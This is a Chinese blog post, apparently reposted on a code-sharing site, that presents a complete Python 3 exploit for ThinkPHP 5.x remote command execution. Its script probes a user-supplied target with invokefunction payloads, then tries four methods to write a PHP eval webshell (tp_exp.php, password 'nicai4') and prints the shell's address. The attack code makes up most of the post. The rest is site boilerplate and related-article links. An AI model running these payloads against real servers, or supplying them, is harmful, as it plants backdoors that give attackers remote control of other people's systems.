python3编写ThinkPHP命令执行Getshell的方法


Posted in Python onFebruary 26, 2019

加了三个验证漏洞以及四个getshell方法

# /usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author: Morker
# @Email: [email]admin@nsf.me[/email]
# @Blog:  [url]http://nsf.me/[/url]
 
import requests
import sys
 
def demo():
  print(' _______ _   _    _  _____ _  _ _____ ')
  print(' |__  __| |  (_)   | | | __ \| | | | __ \ ')
  print('  | | | |__ _ _ __ | | _| |__) | |__| | |__) |')
  print('''  | | | '_ \| | '_ \| |/ / ___/| __ | ___/ ''')
  print('  | | | | | | | | | |  <| |  | | | | |   ')
  print('  |_| |_| |_|_|_| |_|_|\_\_|  |_| |_|_|   ')
  print()
  print('\tThinkPHP 5.x (v5.0.23 and v5.1.31 following version).')
  print('\tRemote command execution exploit.')
  print('\tVulnerability verification and getshell.')
  print('\tTarget: http://target/public')
  print()
class ThinkPHP():
  def __init__(self,web):
    self.web = web
    self.headers = {
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0",
    "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding" : "gzip, deflate",
    "Content-Type" : "application/x-www-form-urlencoded",
    "Connection" : "keep-alive"
    }
 
  def verification(self):
    i = 0
    s = 0
    verifications = ['/?s=index/\\think\Request/input&filter=phpinfo&data=1','/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1','/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1']
    while True:
      if i == len(verifications):
        break
      else:
        url = self.web + verifications[i]
        req = requests.get(url=url,headers=self.headers)
        if 'phpinfo()' in req.text:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] There are vulnerabilities.")
      print()
      toshell = input("[*] Getshell? (y/n):")
      if toshell == 'y':
        self.getshell()
      elif toshell == 'n':
        sys.exit()
      else:
        sys.exit()
    else:
      print("[-] There are no vulnerabilities.")
 
  def getshell(self):
    getshells = [
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=tp_exp.php&vars[1][]=<?php @eval($_POST[nicai4]); ?>',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_POST[nicai4]);%20?>%27%20>>%20tp_exp.php',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20@eval($_POST[nicai4]);%20?^>%20>>tp_exp.php',
    '?s=index/\\think\\template\driver\\file/write&cacheFile=tp_exp.php&content=<?php%20eval($_POST[nicai4]);?>']
    shell = self.web + '/tp_exp.php'
    i = 0
    s = 0
    while True:
      if i == len(getshells):
        break
      else:
        url = self.web + getshells[i]
        req = requests.get(url=url,headers=self.headers)
        req_shell = requests.get(url=shell,headers=self.headers)
        if req_shell.status_code == 200:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] WebShell :%s PassWord :nicai4" % shell)
    else:
      print("[-] The vulnerability does not exist or exists waf.")
 
def main():
  demo()
  url = input("[*] Please input your target: ")
  run = ThinkPHP(url)
  run.verification()
 
if __name__ == '__main__':
  main()

注:图中的测试网址为在线漏洞环境,可自己去在线搭建测试。

环境地址:https://www.vsplate.com/

效果图:

python3编写ThinkPHP命令执行Getshell的方法

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python使用循环实现批量创建文件夹示例
Mar 25 Python
用Python编写分析Python程序性能的工具的教程
Apr 01 Python
python引用DLL文件的方法
May 11 Python
python制作最美应用的爬虫
Oct 28 Python
Python 对象中的数据类型
May 13 Python
python实现word 2007文档转换为pdf文件
Mar 15 Python
一篇文章读懂Python赋值与拷贝
Apr 19 Python
使用pandas把某一列的字符值转换为数字的实例
Jan 29 Python
Python将json文件写入ES数据库的方法
Apr 10 Python
Pyinstaller 打包exe教程及问题解决
Aug 16 Python
python实现飞机大战小游戏
Nov 08 Python
OpenCV绘制圆端矩形的示例代码
Aug 30 Python
初探利用Python进行图文识别(OCR)
Feb 26 #Python
Python编写合并字典并实现敏感目录的小脚本
Feb 26 #Python
Python实现监控Nginx配置文件的不同并发送邮件报警功能示例
Feb 26 #Python
利用python实现对web服务器的目录探测的方法
Feb 26 #Python
python selenium 弹出框处理的实现
Feb 26 #Python
python实现学员管理系统
Feb 26 #Python
python实现电子产品商店
Feb 26 #Python
You might like
使用PHP求两个文件的相对路径
2013/06/20 PHP
详解WordPress开发中过滤属性以及Sql语句的函数使用
2015/12/25 PHP
PHP简单处理表单输入的特殊字符的方法
2016/02/03 PHP
用PHP写的一个冒泡排序法的函数简单实例
2016/05/26 PHP
用cookies实现的可记忆的样式切换效果代码下载
2007/12/24 Javascript
Javascript 中介者模式实例
2009/12/16 Javascript
js中更短的 Array 类型转换
2011/10/30 Javascript
IE的事件传递-event.cancelBubble示例介绍
2014/01/12 Javascript
完美兼容IE,chrome,ff的设为首页、加入收藏及保存到桌面js代码
2014/12/17 Javascript
js使用Array.prototype.sort()对数组对象排序的方法
2015/01/28 Javascript
Node.js抓取中文网页乱码问题和解决方法
2015/02/10 Javascript
JS+CSS实现实用的单击输入框弹出选择框的方法
2015/02/28 Javascript
使用jQuery.form.js/springmvc框架实现文件上传功能
2016/05/12 Javascript
javascript设计模式之module(模块)模式
2016/08/19 Javascript
Bootstrap 模态框实例插件案例分析
2016/12/28 Javascript
深入理解javascript中的 “this”
2017/01/17 Javascript
React Native日期时间选择组件的示例代码
2018/04/27 Javascript
深入浅析Node环境和浏览器的区别
2018/08/14 Javascript
解决vue项目nginx部署到非根目录下刷新空白的问题
2018/09/27 Javascript
Vue项目中使用WebUploader实现文件上传的方法
2019/07/21 Javascript
python字符串替换示例
2014/04/24 Python
python下载文件记录黑名单的实现代码
2017/10/24 Python
Python爬虫天气预报实例详解(小白入门)
2018/01/24 Python
python3 对list中每个元素进行处理的方法
2018/06/29 Python
python3 深浅copy对比详解
2019/08/12 Python
pycharm 2019 最新激活方式(pycharm破解、激活)
2020/09/22 Python
python基于exchange函数发送邮件过程详解
2020/11/06 Python
中国电子产品外贸网站:MiniIntheBox
2017/02/06 全球购物
高级Java程序员面试要点
2013/08/02 面试题
大学校庆策划书
2014/01/31 职场文书
采购部部长岗位职责
2014/02/06 职场文书
网络工程师专家职业发展路线
2014/02/14 职场文书
管理学院毕业生自荐信范文
2014/03/10 职场文书
邻里守望志愿服务活动方案
2014/08/15 职场文书
政风行风建设整改方案
2014/10/27 职场文书
行政诉讼答辩状
2015/05/21 职场文书